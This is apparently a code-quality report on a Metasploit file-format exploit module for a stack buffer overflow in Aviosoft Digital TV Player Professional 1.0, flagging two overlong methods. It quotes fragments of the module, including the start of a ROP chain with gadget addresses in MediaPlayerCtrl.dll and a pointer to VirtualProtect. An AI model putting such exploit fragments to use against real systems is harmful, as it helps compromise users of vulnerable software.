modules/exploits/windows/fileformat/aviosoft_plf_buf.rb
Method initialize
has 47 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info={})
super(update_info(info,
'Name' => "Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Aviosoft Digital TV Player
Method exploit
has 39 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def exploit
rop = [
nops(true, 10), #ROP NOP
0x6405347a, #POP EDX # RETN (MediaPlayerCtrl.dll)
0x10011108, #ptr to &VirtualProtect